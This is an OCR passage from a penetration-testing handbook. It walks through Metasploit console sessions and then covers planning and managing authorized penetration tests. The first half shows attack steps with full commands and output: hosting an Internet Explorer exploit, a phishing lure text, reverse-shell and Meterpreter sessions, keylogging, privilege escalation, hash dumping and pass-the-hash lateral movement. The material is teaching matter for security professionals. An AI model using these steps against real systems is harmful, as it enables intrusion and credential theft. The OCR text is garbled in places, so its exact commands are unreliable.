a rogue web server to host those vulnerabilities. In this next example, we'll use Meta-
sploit to host an exploit for MS10-022, the most recently patched Internet Explorer—
based vulnerability at the time of this writing. To follow along, you'll need to remove
security update MS10-022 on the victim machine:

msf > search ms10 022
[*] Searching loaded modules for pattern 'msl0 022'...
Exploits

Name Rank Description
windows/browser/msl0 022 ie vbscript winhlp32 great Internet Explorer
Winhlp32.exe MsgBox Code
Execution
msf > use windows/browser/msl0 022 ie vbscript winhlp32
msf exploit(msl0 022 ie vbscript winhlp32) > show options
Module options:

Name Current Setting Required Description

SRVHOST 0.0.0.0 yes The local host to listen on.

SRVPORT 80 yes The daemon port to listen on

SSL false no Negotiate SSL for incoming connections

SSLVersion SSL3 no Specify the version of SSL that
should be used (accepted: SSL2, SSL3,
TLS1)

URIPATH / yes The URI to use.

Metasploit’s browser-based vulnerabilities have an additional required option, URI-
PATH. Metasploit will act as a web server, so the URIPATH is the rest of the URL to
which you'll be luring your victim. For example, you could send out an e-mail that
looks like this:

“Dear <victim>, Congratulations! You've won one million dollars! For pickup
instructions, click here: <link>"
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A good link for that kind of attack might be http://<IP-ADDRESS>/you_win.htm.
In that case, you would want to set the URIPATH to you_win.htm. For this example, we
will leave the URIPATH set to the default, “/”:

msf exploit (mslO 022 ie vbscript winhlp32) > set PAYLOAD
windows/shell reverse_ tcp

PAYLOAD => windows/shell reverse tcp

msf exploit (mslO 022 ie vbscript winhlp32) > set LHOST 192.168.0.211
LHOST => 192.168.0.211

msf exploit (msl0 022 ie vbscript winhlp32) > show options

Module options:

Name Current Setting Required Description

SRVHOST 0.0.0.0 yes The local host to listen on.

SRVPORT 80 yes The daemon port to listen on

SSL false no Negotiate SSL for incoming connections

SSLVersion SSL3 no Specify the version of SSL that
should be used (accepted: SSL2, SSL3,
TLS1)

URIPATH / yes The URI to use.

Payload options (windows/shell reverse tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process

LHOST 192.168.0.211 yes The local address

LPORT 4444 yes The local port

msf exploit(msl0 022 ie vbscript winhlp32) > exploit
[*] Exploit running as background job.

msf exploit(mslO 022 ie vbscript winhlp32) >

[*] Started reverse handler on 192.168.0.211:4444
[*] Using URL: http://0.0.0.0:80/

[*] Local IP: http://192.168.0.211:80/

[*] Server started.

Metasploit is now waiting for any incoming connections on port 80. When HTTP
connections come in on that channel, Metasploit will present an exploit for MS10-022
with a reverse shell payload instructing Internet Explorer to initiate a connection back
to 192.168.0.211 on destination port 4444. Let's see what happens when a workstation
missing Microsoft security update MS10-022 visits the malicious web page and clicks
through the prompts:

[*] Command shell session 1 opened (192.168.0.211:4444 -> 192.168.0.20:1326)

Aha! We have our first victim!

msf exploit (msl0 022 ie vbscript winhlp32) > sessions -1
Active sessions

Id Type Information Connection

1 shell 192.168.0.211:4444 -> 192.168.0.20:1326
msf exploit (msl0 022 ie vbscript winhlp32) > sessions -i 1
[*] Starting interaction with 1...
"\\192.168.0.211\UDmHOWKE8M5BjDR"'
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CMD.EXE was started with the above path as the current directory.
UNC paths are not supported. Defaulting to Windows directory.
Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS>echo w0Ot!

echo w0O0t!

w00t!

Pressing CTRL-zZ will return you from the session back to the Metasploit console
prompt. Let’s simulate a second incoming connection:

[*] Command shell session 2 opened (192.168.0.211:4444 -> 192.168.0.20:1334)
msf exploit (msl0 022 ie vbscript winhlp32) > sessions -1
Active sessions

Id Type Information Connection
1 shell 192.168.0.211:4444 -> 192.168.0.20:1326
2 shell 192.168.0.211:4444 -> 192.168.0.20:1334

The jobs command will list the exploit jobs you currently have active:

msf exploit(msl0 022 ie vbscript winhlp32) > jobs
Id Name

1 Exploit: windows/browser/msl0 022 ie vbscript winhlp32

With two active sessions, let’s kill our exploit:

msf exploit (mslO 022 ie vbscript winhlp32) > jobs -K
Stopping all jobs...
[*] Server stopped.

Exploiting client-side vulnerabilities by using Metasploit’s built-in web server will
allow you to attack workstations protected by a firewall. Let’s continue exploring Meta-
sploit by looking at other ways to use the framework.

Penetration Testing with Metasploit’s
Meterpreter

Having a command prompt is great. However, often it would be convenient to have
more flexibility after you've compromised a host. And in some situations, you need to
be so sneaky that even creating a new process on a host might be too much noise. That'’s
where the Meterpreter payload shines!

The Metasploit Meterpreter is a command interpreter payload that is injected into
the memory of the exploited process and provides extensive and extendable features to
the attacker. This payload never actually hits the disk on the victim host; everything is
injected into process memory with no additional process created. It also provides a
consistent feature set no matter which platform is being exploited. The Meterpreter is
even extensible, allowing you to load new features on-the-fly by uploading DLLs to the
target system’s memory.
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To introduce the Meterpreter, we’'ll reuse the MS10-022 browser-based exploit with
the Meterpreter payload rather than the reverse shell payload:

msf exploit (mslO 022 ie vbscript winhlp32) > set PAYLOAD
windows/meterpreter/reverse tcp

PAYLOAD => windows/meterpreter/reverse tcp

msf exploit(msl0_022 ie vbscript winhlp32) > show options
Module options:

Name Current Setting Required Description

SRVHOST 0.0.0.0 yes The local host to listen on.

SRVPORT 80 yes The daemon port to listen on

SSL false no Negotiate SSL for incoming connections

SSLVersion SSL3 no Specify the version of SSL that
should be used (accepted: SSL2, SSL3,
TLS1)

URIPATH / yes The URI to use.

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process

LHOST 192.168.0.211 yes The local address

LPORT 4444 yes The local port

msf exploit (mslO_ 022 ie vbscript winhlp32) > exploit
[*] Exploit running as background job.

msf exploit(mslO_022_ ie vbscript winhlp32) >

[*] Started reverse handler on 192.168.0.211:4444
[*] Using URL: http://0.0.0.0:80/

[*] Local IP: http://192.168.0.211:80/

[*] Server started.

[*] Request for "/" does not contain a sub-directory, redirecting to
/alpR70kupCu5U/

] Responding to GET request from 192.168.0.20:1335

[*] Meterpreter session 3 opened (192.168.0.211:4444 -> 192.168.0.20:1340)
The exploit worked again. Let’s check our session listing:

msf exploit (mslO_022 ie vbscript winhlp32) > sessions -1
Active sessions

Id Type Information Connection

1 shell 192.168.0.211:4444 -> 192.168.0.20:1326
2 shell 192.168.0.211:4444 -> 192.168.0.20:1334
3 meterpreter TESTl\admin @ TEST1 192.168.0.211:4444 -> 192.168.0.20:1340

We now have two command shells from previous examples and one new Meter-
preter session. Let’s interact with the Meterpreter session:

msf exploit(msl0 022 ie vbscript winhlp32) > sessions -i 3
[*] Starting interaction with 3...
meterpreter >

The help command will list all the built-in Meterpreter commands. The entire com-
mand list would fill several pages, but here are some of the highlights:
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ps
migrate
download
upload

run

use
keyscan_start
keyscan_stop
portfwd

route

execute
getpid
getuid
getsystem
hashdump
screenshot

List running processes

Migrate the server to another process
Download a file or directory

Upload a file or directory

Executes a meterpreter script

Load a one or more meterpreter extensions
Start capturing keystrokes

Stop capturing keystrokes

Forward a local port to a remote service
View and modify the routing table

Execute a command

Get the current process identifier

Get the user that the server is running as

Attempt to elevate your privilege to that of local system.

Dumps the contents of the SAM database
Grab a screenshot of the interactive desktop
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Let’s start with the ps and migrate commands. Remember that the Meterpreter pay-
load typically runs within the process that has been exploited. (Meterpreter paired with
the MS10-022 is a bit of a special case.) So as soon as the user closes that web browser,
the session is gone. In the case of these client-side exploits especially, you'll want to
move the Meterpreter out of the client-side application’s process space and into a pro-
cess that will be around longer. A good target is the user’s explorer.exe process. Explorer.
exe is the process that manages the desktop and shell, so as long as the user is logged
in, explorer.exe should remain alive. In the following example, we'll use the ps com-
mand to list all running processes and the migrate command to migrate the Meter-
preter over to explorer.exe:

meterpreter > ps

Process list

PID Name Arch Session User Path

0 [System Process]

4 System %86 0

332 sSmss.exe %86 0 NT AUTHORITY\SYSTEM
\SystemRoot\System32\smss.exe

548 csrss.exe x86 0 NT AUTHORITY\SYSTEM
\??2\C:\WINDOWS\system32\csrss.exe

572 winlogon.exe %86 0 NT AUTHORITY\SYSTEM
\?2\C:\WINDOWS\system32\winlogon.exe

616 services.exe %86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\services.exe

628 lsass.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\1lsass.exe

788 svchost.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\svchost.exe

868 svchost.exe x86 0
C:\WINDOWS\system32\svchost.exe

964 svchost.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\System32\svchost.exe

1024 svchost.exe %86 0
C:\WINDOWS\system32\svchost.exe

1076 svchost.exe %86 0
C:\WINDOWS\system32\svchost.exe

1420 explorer.exe %86 0 TEST1\admin

C:\WINDOWS\Explorer.EXE
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meterpreter > migrate 1420
[*] Migrating to 1420...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 1420
meterpreter > getuid
Server username: TEST1\admin

Great, now our session is less likely to be terminated by a suspicious user.

When pen-testing, your goals will often be to elevate privileges, establish a stronger
foothold, and expand access to other machines. In this demo example, so far we have a
Meterpreter session running as TEST1\admin. This local workstation account is better
than nothing, but it won't allow us to expand access to other machines. Next, we'll ex-
plore the ways Meterpreter can help us expand access.

Use Meterpreter to Log Keystrokes

If we enable Meterpreter’s keystroke logger, perhaps the user will type his credentials
into another machine, allowing us to jump from TEST1 to another machine. Here's an
example using Meterpreter's keylogger:

meterpreter > use priv

Loading extension priv...success.

meterpreter > keyscan_ start

Starting the keystroke sniffer...

meterpreter > keyscan_dump

Dumping captured keystrokes...

putty.exe <Return> 192.168.0.21 <Return> admin <Return> P@sswOrd <Return>
meterpreter > keyscan_stop

Stopping the keystroke sniffer...

To enable the keylogger, we first needed to load the “priv” extension. We would be
unable to load the priv extension without administrative access on the machine. In this
(artificial) example, we see that after we enabled the keystroke logger, the user launched
an SSH client and then typed in his credentials to log in over SSH to 192.168.0.21.
Bingo!

Use Meterpreter to Run Code as a Different Logged-On User

If your Meterpreter session is running as a local workstation administrator, you can
migrate the Meterpreter to another user’s process just as easily as migrating to the ex-
ploited user’s explorer.exe process. The only trick is that the ps command might not list
the other logged-on users unless the Meterpreter is running as LOCALSYSTEM. Thank-
fully, there is an easy way to elevate from a local Administrator to LOCALSYSTEM, as
shown in the following example:

meterpreter > getuid

Server username: TEST1\admin
meterpreter > getpid

Current pid: 1420
meterpreter > ps

Process list

PID Name Arch Session User Path
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1420 explorer.exe x86 0 TEST1\admin
C:\WINDOWS\Explorer.EXE
1708 iexplore.exe %86 0 TEST1\admin
C:\Program Files\Internet Explorer\iexplore.exe
2764 cmd.exe %86 0

C:\WINDOWS\system32\cmd.exe

Here we see three processes. PID 1420 is the explorer.exe process in which our Me-
terpreter currently runs. PID 1708 is an Internet Explorer session that was exploited by
the Metasploit exploit. PID 2764 is a cmd.exe process with no “User” listed. This is
suspicious. If we elevate from TEST1\admin to LOCALSYSTEM, perhaps we'll get more
information about this process:

meterpreter > use priv

Loading extension priv...success.
meterpreter > getsystem

...got system (via technique 1).
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
meterpreter > ps

2764 cmd.exe %86 0 TEST\domainadmin
C:\WINDOWS\system32\cmd.exe

Aha! This PID 2764 cmd.exe process was running as a domain administrator. We
can now migrate to that process and execute code as the domain admin:

meterpreter > migrate 2764

[*] Migrating to 2764...

[*] Migration completed successfully.
meterpreter > getuid

Server username: TEST\domainadmin
meterpreter > shell

Process 2404 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

Now we have a command prompt running in the context of the domain admin.

Use Meterpreter’s hashdump Command and Metasploit’s psexec

Command to Log In Using a Shared Password

Administrators tend to reuse the same password on multiple computers, especially
when they believe the password to be difficult to guess. Metasploit’s Meterpreter can
easily dump the account hashes from one box and then attempt to authenticate to an-
other box using only the username and hash. This is a very effective way while penetra-
tion testing to expand your access. Start by using the Meterpreter's hashdump com-
mand to dump the hashes in the SAM database of the compromised workstation:

meterpreter > use priv
Loading extension priv...success.
meterpreter > hashdump




Gray Hat Hacking, The Ethical Hacker’s Handbook, Third Edition

154

Administrator:500:921988ba001dc8el122c34254e51bff62:
217e50203a5abab9cefa863c724bf6lb:
Guest:501:aad3b435b51404ecaad3b435b51404ee:
31d6cfe0dl16ae931b73c59d7e0c089c0: ::
sharedadmin:1006:aad3b435b51404ecaadl3b435b51404ee:
63bef0bd84d48389de9289f4a216031d:::

This machine has three local workstation accounts: Administrator, Guest, and
sharedadmin. If that account named sharedadmin is also present on other machines
managed by the same administrator, we can use the psexec exploit to create a new ses-
sion without even cracking the password:

msf > search psexec

windows/smb/psexec excellent Microsoft Windows Authenticated
User Code Execution

msf > use windows/smb/psexec

msf exploit (psexec) > show options

Module options:

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPass no The password for the specified username
SMBUser Administrator yes The username to authenticate as

To use psexec as an exploit, you'll need to set the target host, the user (which de-
faults to “Administrator”), and the password. We don’t know sharedadmin'’s pass-
word. In fact, hashdump has reported only the placeholder value for the LM hash
(aad3b435b51404eeaad3b435b51404ee). That means that the password is not stored
in the legacy, easy-to-crack format, so it's unlikely we can even crack the password from
the hash without a lot of computing horsepower. What we can do, however, is supply
the hash in place of the password to the psexec module:

NOTE The psexec module does not actually exploit any vulnerability. It is
simply a convenience function supplied by Metasploit to execute a payload if
you already know an administrative account name and password (or password
equivalent such as hash, in this case).

msf exploit (psexec) > set RHOST 192.168.1.6

RHOST => 192.168.1.6

msf exploit (psexec) > set SMBUser sharedadmin

SMBUser => sharedadmin

msf exploit (psexec) > set SMBPass aad3b435b51404ecaad3b435b51404ee:
63bef0bd84d48389de9289f4a216031d

SMBPass => aad3b435b51404eeaad3b435b51404ee:63bef0bd84d48389de9289f4a216031d
msf exploit (psexec) > set PAYLOAD windows/meterpreter/bind tcp

PAYLOAD => windows/meterpreter/bind tcp

msf exploit (psexec) > exploit

[*] Started bind handler

[*] Connecting to the server...

[*] Authenticating as user 'sharedadmin'...

[*] Meterpreter session 8 opened (192.168.1.4:64919 -> 192.168.1.6:4444)
meterpreter >
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With access to an additional compromised machine, we could now see which users are
logged onto this machine and migrate to a session of a domain user. Or we could install a
keylogger on this machine. Or we could dump the hashes on this box to find a shared
password that works on additional other workstations. Or we could use Meterpreter to
“upload” gsecdump.exe to the newly compromised workstation, drop into a shell, and
execute gsecdump.exe to get the cleartext secrets. Meterpreter makes pen-testing easier.

References

Metasploit’s Meterpreter (Matt Miller aka skape) www.metasploit.com/documents/
meterpreter.pdf

Metasploit Unleashed online course (David Kennedy et al.)
www.offensive-security.com/metasploit-unleashed/

Automating and Scripting Metasploit

The examples we have shown so far have all required a human at the keyboard to
launch the exploit and, similarly, a human typing in each post-exploitation command.
On larger-scale penetration test engagements, that would, at best, be monotonous or,
worse, cause you to miss exploitation opportunities because you were not available to
immediately type in the necessary commands to capture the session. Thankfully, Meta-
sploit offers functionality to automate post-exploitation and even build your own
scripts to run when on each compromised session. Let’s start with an example of auto-
mating common post-exploitation tasks.

When we introduced client-side exploits earlier in the chapter, we stated that the
exploit payload lives in the process space of the process being exploited. Migrating the
Meterpreter payload to a different process—such as explorer.exe—was the solution to
the potential problem of the user closing the exploited application and terminating the
exploit. But what if you don’t know when the victim will click the link? Or what if you
are attempting to exploit hundreds of targets? That's where the Metasploit Auto-
RunScript comes in. Check out this example:

msf exploit (msl0 002 aurora) > set AutoRunScript "migrate explorer.exe"
AutoRunScript => migrate explorer.exe

msf exploit (msl0O 002 aurora) > exploit -j

[*] Meterpreter session 12 opened (192.168.1.4:4444 -> 192.168.1.9:1132)
[*] Session ID 12 (192.168.1.4:4444 -> 192.168.1.9:1132) processing
AutoRunScript 'migrate explorer.exe'

[*] Current server process: ilexplore.exe (1624)
[*] Migrating to explorer.exe...

[*] Migrating into process ID 244

[*] New server process: Explorer.EXE (244)

In this example, we set the AutoRunScript variable to the “migrate” script, passing
in the name of the process to which we’d like the session migrated. The AutoRunScript
runs shortly after the payload is established in memory. In this case, Internet Explorer
(iexplore.exe) with PID 1624 was the process being exploited. The migrate script found
Explorer.EXE running with PID 244. The Meterpreter migrated itself from the IE
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session with PID 1624 over to the Explorer.EXE process with PID 244 with no human
interaction.

You can find all the available Meterpreter scripts in your Metasploit installation
under msf3/scripts/meterpreter. You can also get a list of available scripts by typing
run [SPACEBAR|[TAB] into a meterpreter session. They are all written in Ruby. The
migrate.rb script is actually quite simple. And if we hardcode explorer.exe as the pro-
cess to which we'd like to migrate, it becomes even simpler. Here is a working migrate_
to_explorer.rb script:

server = client.sys.process.open

print status("Current server process: #{server.name} (#{server.pid})")
target pid = client.sys.process["explorer.exe"]

print status("Migrating into process ID #{target pid}")
client.core.migrate (target pid)

server = client.sys.process.open

print status("New server process: #{server.name} (#{server.pid})")

NOTE The real migrate.rb script is more robust, more verbose, and more
elegant.This is simplified for ease of understanding.

Metasploit ships with Meterpreter scripts to automate all kinds of useful tasks. From
enumerating all information about the system compromised to grabbing credentials to
starting a packet capture, if you've thought about doing something on startup for every
compromised host, someone has probably written a script to do it. If your Auto-
RunScript need is not satisfied with any of the included scripts, you can easily modify
one of the scripts or even write your own from scratch.

References

Metasploit Wiki www.metasploit.com/redmine/projects/framework/wiki
Programming Ruby: The Pragmatic Programmer’s Guide (D. Thomas, C. Fowler,
and A. Hunt) ruby-doc.org/docs/ProgrammingRuby/

Going Further with Metasploit

Pen-testers have been using and extending Metasploit since 2003. There’s a lot more to
it than can be covered in these few pages. The best next step after downloading and
playing with Metasploit is to explore the excellent, free online course Metasploit Un-
leashed. You'll find ways to use Metasploit in all phases of penetration testing. Meta-
sploit includes host and vulnerability scanners, excellent social engineering tools, abil-
ity to pivot from one compromised host into the entire network, extensive post-exploi-
tation tactics, a myriad of ways to maintain access once you've got it, and ways to auto-
mate everything you would want to automate. You can find this online course at www
.offensive-security.com/metasploit-unleashed,/.

Rapid7, the company who owns Metasploit, also offers a commercial version of
Metasploit called Metasploit Express (www.rapid7.com/products/metasploit-express/).
It comes with a slick GUI, impressive brute-forcing capabilities, and customizable re-
porting functionality. The annual cost of Metasploit Express is $3,000/user.
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Managing a
Penetration Test

In this chapter, we discuss managing a penetration test. We cover the following topics:

¢ Planning a penetration test

¢ Structuring a penetration testing agreement

e Execution of a penetration test

¢ Information sharing during a penetration test
e Reporting the results of a penetration test

When it comes to penetration testing, the old adage is true: plan your work, then
work your plan.

Planning a Penetration Test

When planning a penetration test, you will want to take into consideration the type,
scope, locations, organization, methodology, and phases of the test.

Types of Penetration Tests

There are basically three types of penetration testing: white box, black box, and
gray box.

White Box Testing

White box testing is when the testing team has access to network diagrams, asset re-
cords, and other useful information. This method is used when time is of the essence
and when budgets are tight and the number of authorized hours is limited. This type of
testing is the least realistic, in terms of what an attacker may do.

Black Box Testing

Black box testing is when there is absolutely no information given to the penetration
testing team. In fact, using this method of testing, the penetration testing team may
only be given the company name. Other times, they may be given an IP range and
other parameters to limit the potential for collateral damage. This type of testing most
accurately represents what an attacker may do and is the most realistic.
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Gray Box Testing

Gray box testing is, you guessed it, somewhere in between white box testing and black
box testing. This is the best form of penetration testing where the penetration testing
team is given limited information and only as required. So, as they work their way from
the outside in, more access to information is granted to speed the process up. This
method of testing maximizes realism while remaining budget friendly.

Scope of a Penetration Test
Scope is probably the most important issue when planning a penetration test. The test
may vary greatly depending on whether the client wants all of their systems covered or
only a portion of them. It is important to get a feel for the types of systems within scope
to properly price out the effort. The following is a list of good questions to ask the client
(particularly in a white box testing scenario):

e What is the number of network devices that are in scope?

e What types of network devices are in scope?

e What are the known operating systems that are in scope?

¢ What are the known websites that are in scope?

e What is the length of the evaluation?

¢ What locations are in scope?

Locations of the Penetration Test

Determining the locations in scope is critical to establishing the amount of travel and
the level of effort involved for physical security testing, wireless war driving, and social
engineering attacks. In some situations, it will not be practical to evaluate all sites, but
you need to target the key locations. For example, where are the data centers and the
bulk of users located?

Organization of the Penetration Testing Team
The organization of the penetration testing team varies from job to job, but the follow-
ing key positions should be filled (one person may fill more than one position):

e Team leader

e Physical security expert

e Social engineering expert

e Wireless security expert

¢ Network security expert

e QOperating System expert
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Methodologies and Standards

There are several well-known penetration testing methodologies and standards.

OWASP

The Open Web Application Security Project (OWASP) has developed a widely used set
of standards, resources, training material, and the famous OWASP Top 10 list, which
provides the top ten web vulnerabilities and the methods to detect and prevent them.

OSSTMM

The Open Source Security Testing Methodology Manual (OSSTMM) is a widely used
methodology that covers all aspects of performing an assessment. The purpose of the
OSSTMM is to develop a standard that, if followed, will ensure a baseline of test to
perform, regardless of customer environment or test provider. This standard is open
and free to the public, as the name implies, but the latest version requires a fee for
download.

ISSAF

The Information Systems Security Assessment Framework (ISSAF) is a more recent set
of standards for penetration testing. The ISSAF is broken into domains and offers spe-
cific evaluation and testing criteria for each domain. The purpose of the ISSAF is to
provide real-life examples and feedback from the field.

Phases of the Penetration Test

It is helpful to break a penetration test into phases. For example, one way to do this is
to have a three-phase operation:

e [: External
e II: Internal

e [II: Quality Assurance (QA) and Reporting
Further, each of the phases may be broken down into subphases; for example:

¢ l.a: Footprinting

L.b: Social Engineering

I.c: Port Scanning

II.a: Test the internal security capability

e And so on.

The phases should work from the outside to the inside of an organization, as shown
in Figure 9-1.
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Figure 9-1 Three-phase penetration testing plan

Notice in Figure 9-1 phase II.a, Test Security Response. The purpose of this phase is
to test the client’s security operations team. If done properly and coordinated with the
fewest amount of people possible, this phase is quite effective in determining the secu-
rity posture of an organization. For example, it helps to determine whether or not the
security team responds to network scans or deliberate attacks on the network. This
phase can be done onsite or offsite with a VPN connection. This phase is normally
short, and once the results are noted, the assessment moves on to the next phase, with
or without the cooperation of the security operations team (depending on the type of
assessment performed).



Chapter 9: Managing a Penetration Test

161

Testing Plan for a Penetration Test

It is helpful to capture the plan and assignments on a spreadsheet. For example:

Acme Pen Test Plan 7/1/2010
Start Date Time Joe Matt Alex Susan Bart Note

Kirk Off Meeting 1-Sep *® ¥ ¥ * *®
Phase 1 X x  Limited to 50 hours {each) here
Footprinting 2-5ep X x
Test up VPN connectivity 16-5en *
Arrive on Location 16-Sep 2000 x x X
Phase 11 x x X X Limited to 100 hours {each) here
Phase 1T a TED
Connect Remotely Day 1 0830
Start Deliberate Scans Slow Day 1 0900 x x X X
Start Deliberate Scans Fast Day 1 1300 = ® ¥ *
Start Deliberate Attacks Day 2 0800 x x X X
Phase II b 17-Sep
Setup in Conf Room, test nat 17-Sep 0800
Social Engineering Attacks 17-Sep 0800 x X Thumbdrive drops, calls to help desk, etc

A spreadsheet like this allows you to properly load balance the team and ensure that all
elements of the phases are properly scheduled.

References

Penetration test http://en.wikipedia.org/wiki/Penetration_test
Good list of tasks www.vulnerabilityassessment.co.uk/Penetration%20Test.html

Structuring a Penetration Testing Agreement

When performing penetration tests, the signed agreements you have in place may be
your best friend or worst enemy. The following documents apply.

Statement of Work

Most organizations use a Statement of Work (SOW) when contracting outside work.
The format of the SOW is not as important as its content. Normally, the contractor (in
this case, the penetration tester) prepares the SOW and presents it to the client as part
of the proposal. If the client accepts, the client issues a purchase order or task order on
the existing contract. There are some things you want to ensure you have in the SOW:
e Purpose of the assessment
e Type of assessment
e Scope of effort
e Limitations and restrictions
¢ Any systems explicitly out of scope
e Time constraints of the assessment
e Preliminary schedule
e Communication strategy

e Incident handling and response procedures
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e Description of the task to be performed
e Deliverables

e Sensitive data handling procedures

e Required manpower

e Budget (to include expenses)

¢ Payment terms

e Points of contact for emergencies

Get-Out-of-)Jail-Free Letter

Whenever possible, have the client give you a “get-out-of-jail-free letter.” The letter
should say something like

To whom it may concern,

Although this person looks like they are up to no good, they are actually part of a
security assessment, authorized by The Director of Security...

Please direct any questions to...

A letter of this sort is particularly useful when crawling around dumpsters in the middle
of the night.

References

NIST Technical Guide to Information Security Testing and Assessment (800-115;
replaces 800-42) csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf
OSSTMM  www.isecom.org/osstmm/

Execution of a Penetration Test

Okay, now that we have all the planning and paperwork in place, it is time to start sling-
ing packets...well, almost. First, let's get some things straight with the client.

Kickoff Meeting

Unless a black box test is called for, it is important to schedule and attend a kickoff
meeting, prior to engaging with the client. This is your opportunity not only to confirm
your understanding of the client’s needs and requirements but also to get off on the
right foot with the client.

It is helpful to remind the client of the purpose of the penetration test: to find as
many problems in the allotted time as possible and make recommendations to fix
them before the bad guys find them. This point cannot be overstated. It should be fol-
lowed with an explanation that this is not a cat-and-mouse game with the system ad-
ministrators and the security operations team. The worst thing that can happen is for a
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system administrator to notice something strange in the middle of the night and start
taking actions to shut down the team. Although the system administrator should be
commended for their observation and desire to protect the systems, this is actually
counterproductive to the penetration test, which they are paying good money for.

The point is that, due to the time and money constraints of the assessment, the test-
ing team will often take risks and move faster than an actual adversary. Again, the pur-
pose is to find as many problems as possible. If there are 100 problems to be found, the
client should desire that all of them be found. This will not happen if the team gets
bogged down, hiding from the company employees.

NOTE As previously mentioned, there may be a small phase of the
penetration test during which secrecy is used to test the internal security
response of the client. This is most effective when done at the beginning of the
test. After that brief phase, the testing team should move as fast as possible to
cover as much ground as possible.

Access During the Penetration Test

During the planning phase, you should develop a list of resources required from the cli-
ent. As soon as possible after the kickoff meeting, you should receive those resources
from the client. For example, you may require a conference room that has adequate room
for the entire testing team and its equipment and that may be locked in the evenings with
the equipment kept in place. Further, you may require network access. You might request
two network jacks, one for the internal network, and the other for Internet access and
research. You may need to obtain identification credentials to access the facilities. The
team leader should work with the client point of contact to gain access as required.

Managing Expectations

Throughout the penetration test, there will be a rollercoaster of emotions (for both the
penetration testing team and the client). If the lights flicker or a breaker blows in the
data center, the penetration testing team will be blamed. It is imperative that the team
leader remain in constant communication with the client point of contact and manage
expectations. Keep in mind this axiom: first impressions are often wrong. As the testing
team discovers potential vulnerabilities, be careful about what is disclosed to the client,
because it may be wrong. Remember to under-promise and overachieve.

Managing Problems

From time to time, problems will arise during the test. The team may accidentally cause
an issue, or something outside the team’s control may interfere with the assessment. At
such times, the team leader must take control of the situation and work with the client
point of contact to resolve the issue. There is another principle to keep in mind here:
bad news does not get better with time. If the team broke something, it is better to dis-
close it quickly and work to not let it happen again.
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Steady Is Fast

There is an old saying, “steady is fast.” It certainly is true in penetration testing. When
performing many tasks simultaneously, it will seem at times like you are stuck in quick-
sand. In those moments, keep busy, steadily grinding through to completion. Try to
avoid rushing to catch up; you will make mistakes and have to redo things.

External and Internal Coordination

Be sure to obtain client points of contact for questions you may have. For example, after
a couple of days, it may be helpful to have the number of the network or firewall ad-
ministrator on speed dial. During off hours, if the client point of contact has gone
home, sending an e-mail or SMS message to them occasionally will go a long way to-
ward keeping them informed of progress. On the other hand, coordination within the
team is critical to avoid redundancy and to ensure that the team doesn’t miss some-
thing critical. Results should be shared across the team, in real time.

Information Sharing During a Penetration Test

Information sharing is the key to success when executing a penetration test. This is es-
pecially true when working with teams that are geographically dispersed. The Dradis
Server is the best way to collect and provide information sharing during a penetration
test. In fact, it was designed for that purpose.

Dradis Server
The Dradis framework is an open source system for information sharing. It is particu-
larly well suited for managing a penetration testing team. You can keep your team in-
formed and in sync by using Dradis for all plans, findings, notes, and attachments.
Dradis has the ability to import from other tools, like

e Nmap

® Nessus

e Nikto

¢ Burp Scanner

NOTE The Dradis framework runs on Windows, Linux, Mac OS X, and other
platforms. For this chapter, we will focus on the Windows version.

Installing Dradis

You can download the Dradis server from the Dradis website, http://dradisframework
.org. After you download it onto Windows, execute the installation package, which will
guide you through the installation.

NOTE The Dradis installer will install all of the prerequisites needed,
including Ruby and SQLite3.
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[&) dradis 2.5 Setup F==(EcR
Welcome to the dradis 2.5 Setup
Wizard

This wizard wil guide you through the installation of dradis
version 2.5

Click next to continue.

Starting Dradis

You start the Dradis framework from the Windows Start menu.

. dradis
|| dradis web interface
|| dradisframewaork.org
reset server (deletes db and attachm
. start dradis server

E Uninstall [}

It takes a few moments for the Ruby Rails server to initialize. When the startup
screen looks like the following, you are ready to use the server.

. start dradis server EI@
ab:d?:bh4:93:67:cc:Bazif:8b:3b:63:aB:85:ad:f5:53:90:79: A~
Gbe:8e:P4:94:3c:22:9¢c:34:0a:e5:3c:55:88:Pe:1a:68:dd:02:
CA:1f:29:2h:12:550:6b:92:6%:ca:3d:f2:02:97:8h:5e:df : Pc: I
80:dd:15:eB:4e:h3:e2:89:71:Pd:ed:fa:fA:ebh:d2:a3:15:8d: B
P0:3d:84:13:e9:75:bFf:Pa:PA:Pd:e5:6d:%a:d2:3c:0e:51:c?:
dA:d3

[2018-82-23 @2:48:171 INFO WEBrick::HIIPServerftstart: pid=5248 port=3084

4| 1 3

Next, browse to

http://localhost:3004

After you get past the warnings concerning the invalid SSL certificate, you will be
presented with a welcome screen, which contains useful information.

« back to the app.

Welcome Users and Passwords | Interface Plugins Reporting

Community / Help

What is Dradis?

Dradis is an open source framework to enable effective information
sharing.

Dradis is a self-contained web application that provides a centralised
repository of information to keep track of what has been done so far,
and what is still ahead. [screenshots - demo]
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User Accounts
Although there are no actual user accounts in Dradis, users must provide a username
when they log in, to track their efforts. A common password needs to be established
upon the first use.

Clicking the “back to the app” link at the top of the screen takes you to the Server
Password screen.

welcome to dradis

- A

Server password
This server does not have a password yet, please set up one:
Password [ ......

Confirm Password [..-..

The common password is shared by all of the team members when logging in.

NOTE Yes, it is against best practice to share passwords.

Interface
The user interface is fashioned after an e-mail client. There are folders on the left and
notes on the right, with details below each note.

dradis v2.5.0  loegout|fcedback

=] import from fle.. |l expori »

o nedd branch | 2 ] ) 2 | 3 addnote | 7] note categorics ~

=3 Medhodbnbogy Taxt o Catagory Auther  Last Upd...
4 |3 Tontprinfing

=] Goagle Hacking = Lategory: default category

E]Maltego Cal the helpdesk, attempt to QT{‘ ACCAES 1o account and paseword micrmation datauk category  Joe 2T Feb 2.
4 i) Socal kngineerng ol
= Phone
